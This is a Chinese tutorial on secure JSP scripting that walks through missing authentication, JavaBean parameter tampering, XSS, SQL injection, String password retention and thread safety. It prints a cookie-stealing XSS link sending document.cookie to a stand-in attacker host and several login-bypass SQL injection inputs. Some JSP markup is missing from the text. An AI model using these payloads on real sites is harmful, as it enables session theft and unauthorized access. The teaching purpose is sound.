從指令碼編程的角度看JSP的安全

JSP作為建立動態網頁的技術正在不斷升溫。JSP和ASP、PHP、工作機制不太一樣。一般說來，JSP頁面在執行時是編譯式，而不是解釋式的。首次調用JSP檔案其實是執行一個編譯為Servlet的過程。當瀏覽器向伺服器請求這一個JSP檔案的時候，伺服器將檢查自上次編譯後JSP檔案是否有改變，如果沒有改變，就直接執行Servlet，而不用再重新編譯，這樣，效率便得到了明顯提高。

今天我將和大家一起從指令碼編程的角度看JSP的安全，那些諸如源碼暴露類的安全隱患就不在這篇文章討論範圍之內了。寫這篇文章的主要目的是給初學JSP編程的朋友們提個醒，從一開始就要培養安全編程的意識，不要犯不該犯的錯誤，避免可以避免的損失。另外，我也是初學者，如有錯誤或其它意見請發帖賜教。

 

一、認證不嚴——低級失誤

在溢洋論壇v1.12 修正版中，

user_manager.jsp是使用者管理的頁面，作者知道它的敏感性，加上了一把鎖：

if ((session.getValue("UserName")==null)││
   (session.getValue("UserClass")==null)││
   (! session.getValue("UserClass").equals("系統管理員"))) {
response.sendRedirect("err.jsp?id=14");
return;
}

如果要查看、修改某使用者的資訊，就要用modifyuser_manager.jsp這個檔案。管理員提交http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51就是查看、修改ID為51的使用者的資料（管理員預設的使用者ID為51）。但是，如此重要的檔案竟缺乏認證，普通使用者（包括遊客）也直接提交上述請求也可以對其一覽無餘（密碼也是明文儲存、顯示的）。modifyuser_manage.jsp同樣是門戶大開，直到惡意使用者把資料更新的操作執行完畢，重新導向到user_manager.jsp的時候，他才會看見那個姍姍來遲的顯示錯誤的頁面。顯然，只鎖一扇門是遠遠不夠的，編程的時候一定要不厭其煩地為每一個該加身份認證的地方加上身份認證。

 

二、守好JavaBean的入口

 

JSP組件技術的核心是被稱為bean的java組件。在程式中可把邏輯控制、資料庫操作放在javabeans組件中，然後在JSP檔案中調用它，這樣可增加程式的清晰度及程式的可重用性。和傳統的ASP或PHP頁面相比，JSP頁面是非常簡潔的，因為許多動態網頁面處理過程可以封裝到JavaBean中。

 

要改變JavaBean屬性，要用到“”標記。

 

下面的代碼是假想的某電子購物系統的源碼的一部分，這個檔案是用來顯示使用者的購物框中的資訊的，而checkout.jsp是用來結帳的。

 

You have added the item

 

to your basket.

 

Your total is $

 

Proceed to checkout

 

注意到property="*"了嗎？這表明使用者在可見的JSP頁面中輸入的，或是直接通過Query String提交的全部變數的值，將儲存到匹配的bean屬性中。

 

一般，使用者是這樣提交請求的：

 

http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342

 

但是不守規矩的使用者呢？他們可能會提交：

 

http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0

 

這樣，balance=0的資訊就被在儲存到了JavaBean中了。當他們這時點擊“chekout”結賬的時候，費用就全免了。

 

這與PHP中全域變數導致的安全問題如出一轍。由此可見：“property="*"”一定要慎用！

 

三、長盛不衰的跨站指令碼

 

跨站指令碼（Cross Site Scripting）攻擊是指在遠程WEB頁面的HTML代碼中手插入惡意的JavaScript, VBScript, ActiveX, HTML, 或Flash等指令碼，竊取瀏覽此頁面的使用者的隱私，改變使用者的設定，破壞使用者的資料。跨站指令碼攻擊在多數情況下不會對伺服器和WEB程式的運行造成影響，但對用戶端的安全構成嚴重的威脅。

 

以仿動網的阿菜論壇（beta-1）舉個最簡單的例子。當我們提交

 

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<; script>alert(document.cookie)

 

便能彈出包含自己cookie資訊的對話方塊。而提交

 

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<; script>document.location='http://www.163.com'

 

就能重新導向到網易。

 

由於在返回“name”變數的值給用戶端時，指令碼沒有進行任何編碼或過濾惡意代碼，當使用者訪問嵌入惡意“name”變數資料連結時，會導致指令碼代碼在使用者瀏覽器上執行，可能導致使用者隱私泄露等後果。比如下面的連結：

 

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<; script>document.location='http://www.hackersite.com/xxx.xxx?'+document.cookie

 

xxx.xxx用於收集後邊跟的參數，而這裡參數指定的是document.cookie，也就是訪問此連結的使用者的cookie。在ASP世界中，很多人已經把偷cookie的技術練得爐火純青了。在JSP裡，讀取cookie也不是難事。當然，跨站指令碼從來就不會局限於偷cookie這一項功能，相信大家都有一定瞭解，這裡就不展開了。

 

對所有動態網頁面的輸入和輸出都應進行編碼，可以在很大程度上避免跨站指令碼的攻擊。遺憾的是，對所有不可信資料編碼是資源密集型的工作，會對 Web 服務器產生效能方面的影響。常用的手段還是進行輸入資料的過濾，比如下面的代碼就把危險的字元進行替換：

 

public boolean isValidInput(String str)
{
if(str.matches("[a-z0-9]+")) return true;
else return false;
}

 

 

四、時刻牢記SQL注入

 

一般的編程書籍在教初學者的時候都不注意讓他們從入門時就培養安全編程的習慣。著名的《JSP編程思想與實踐》就是這樣向初學者示範編寫帶資料庫的登入系統的（資料庫為MySQL）：

Statement stmt = conn.createStatement();
String checkUser = "select * from login where username = '" + userName + "'
and userpassword = '" + userPassword + "'";
ResultSet rs = stmt.executeQuery(checkUser);
if(rs.next())
response.sendRedirect("SuccessLogin.jsp");
else
response.sendRedirect("FailureLogin.jsp");

 

 

這樣使得盡信書的人長期使用這樣先天“帶洞”的登入代碼。如果資料庫裡存在一個名叫“jack”的使用者，那麼在不知道密碼的情況下至少有下面幾種方法可以登入：

使用者名稱：jack
密碼：' or 'a'='a
使用者名稱：jack
密碼：' or 1=1/*
使用者名稱：jack' or 1=1/*
密碼：（任意）

 

 

lybbs（淩雲論壇）ver 2.9.Server在LogInOut.java中是這樣對登入提交的資料進行檢查的：

if(s.equals("") ││ s1.equals(""))
throw new UserException("使用者名稱或密碼不能空。");
if(s.indexOf("'") != -1 ││ s.indexOf("\"") != -1 ││
 s.indexOf(",") != -1 ││ s.indexOf("\\") != -1)
throw new UserException("使用者名稱不能包括 ' \" \\ , 等非法字元。");
if(s1.indexOf("'") != -1 ││ s1.indexOf("\"") != -1 ││
 s1.indexOf("*") != -1 ││ s1.indexOf("\\") != -1)
throw new UserException("密碼不能包括 ' \" \\ * 等非法字元。");
if(s.startsWith("　") ││ s1.startsWith("　"))
throw new UserException("使用者名稱或密碼中不能用空格。");

 

 

但是我不清楚為什麼他只對密碼而不對使用者名稱過濾星號。另外，正斜杠似乎也應該被列到“黑名單”中。我還是認為用Regex只允許輸入指定範圍內的字元來得乾脆。

 

這裡要提醒一句：不要以為可以憑藉某些資料庫系統天生的“安全性”就可以有效地抵禦所有的攻擊。pinkeyes的那篇《PHP注入執行個體》就給那些依賴PHP的設定檔中的“magic_quotes_gpc = On”的人上了一課。

 

五、String對象帶來的隱患

 

Java平台的確使安全編程更加方便了。Java中無指標，這意味著 Java 程式不再像C那樣能對地址空間中的任意記憶體位置定址了。在JSP檔案被編譯成 .class 檔案時會被檢查安全性問題，例如當訪問超出數組大小的數組元素的嘗試將被拒絕，這在很大程度上避免了緩衝區溢位攻擊。但是，String對象卻會給我們帶來一些安全上的隱患。如果密碼是儲存在 Java String 對象中的，則直到對它進行垃圾收集或進程終止之前，密碼會一直駐留在記憶體中。即使進行了垃圾收集，它仍會存在於空閑記憶體堆中，直到重用該記憶體空間為止。密碼 String 在記憶體中駐留得越久，遭到竊聽的危險性就越大。更糟的是，如果實際記憶體減少，則作業系統會將這個密碼 String 換頁調度到磁碟的交換空間，因此容易遭受磁碟塊竊聽攻擊。為了將這種泄密的可能性降至最低（但不是消除），您應該將密碼儲存在 char 數組中，並在使用後對其置零（String 是不可變的，無法對其置零）。

 

六、安全執行緒初探

 

“JAVA能做的，JSP就能做”。與ASP、PHP等指令碼語言不一樣，JSP預設是以多線程方式執行的。以多線程方式執行可大大降低對系統的資源需求，提高系統的並發量及回應時間。線程在程式中是獨立的、並發的執行路徑，每個線程有它自己的堆棧、自己的程式計數器和自己的局部變數。雖然多線程應用程式中的大多數操作都可以並行進行，但也有某些操作（如更新全域標誌或處理共用檔案）不能並行進行。如果沒做好線程的同步，在大並發量訪問時，不需要惡意使用者的“熱心參與”，問題也會出現。最簡單的解決方案就是在相關的JSP檔案中加上: 指令，使它以單線程方式執行，這時，所有用戶端的請求以串列方式執行。這樣會嚴重降低系統的效能。我們可以仍讓JSP檔案以多線程方式執行，通過對函數上鎖來對線程進行同步。一個函數加上synchronized 關鍵字就獲得了一個鎖。看下面的樣本：

public class MyClass{
int a;
public Init() {//此方法可以多個線程同時調用
a = 0;
}
public synchronized void Set() {//兩個線程不能同時調用此方法
if(a>5) {
a= a-5;
}
}
}

 

 

但是這樣仍然會對系統的效能有一定影響。一個更好的方案是採用局部變數代替執行個體變數。因為執行個體變數是在堆中分配的，被屬於該執行個體的所有線程共用，不是安全執行緒的，而局部變數在堆棧中分配，因為每個線程都有它自己的堆棧空間，所以這樣線程就是安全的了。比如淩雲論壇中添加好友的代碼：

public void addFriend(int i, String s, String s1)
throws DBConnectException
{
try
{
if……
else
{
DBConnect dbconnect = new DBConnect("insert into friend (authorid,friendname) values (?,?)");
dbconnect.setInt(1, i);
dbconnect.setString(2, s);
dbconnect.executeUpdate();
dbconnect.close();
dbconnect = null;
}
}
catch(Exception exception)
{
throw new DBConnectException(exception.getMessage());
}
}

 

 

下面是調用：

friendName=ParameterUtils.getString(request,"friendname");
if(action.equals("adduser")) {
forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);
errorInfo=forumFriend.getErrorInfo();
}

 

 

如果採用的是執行個體變數，那麼該執行個體變數屬於該執行個體的所有線程共用，就有可能出現使用者A傳遞了某個參數後他的線程轉為睡眠狀態，而參數被使用者B無意間修改，造成好友錯配的現象。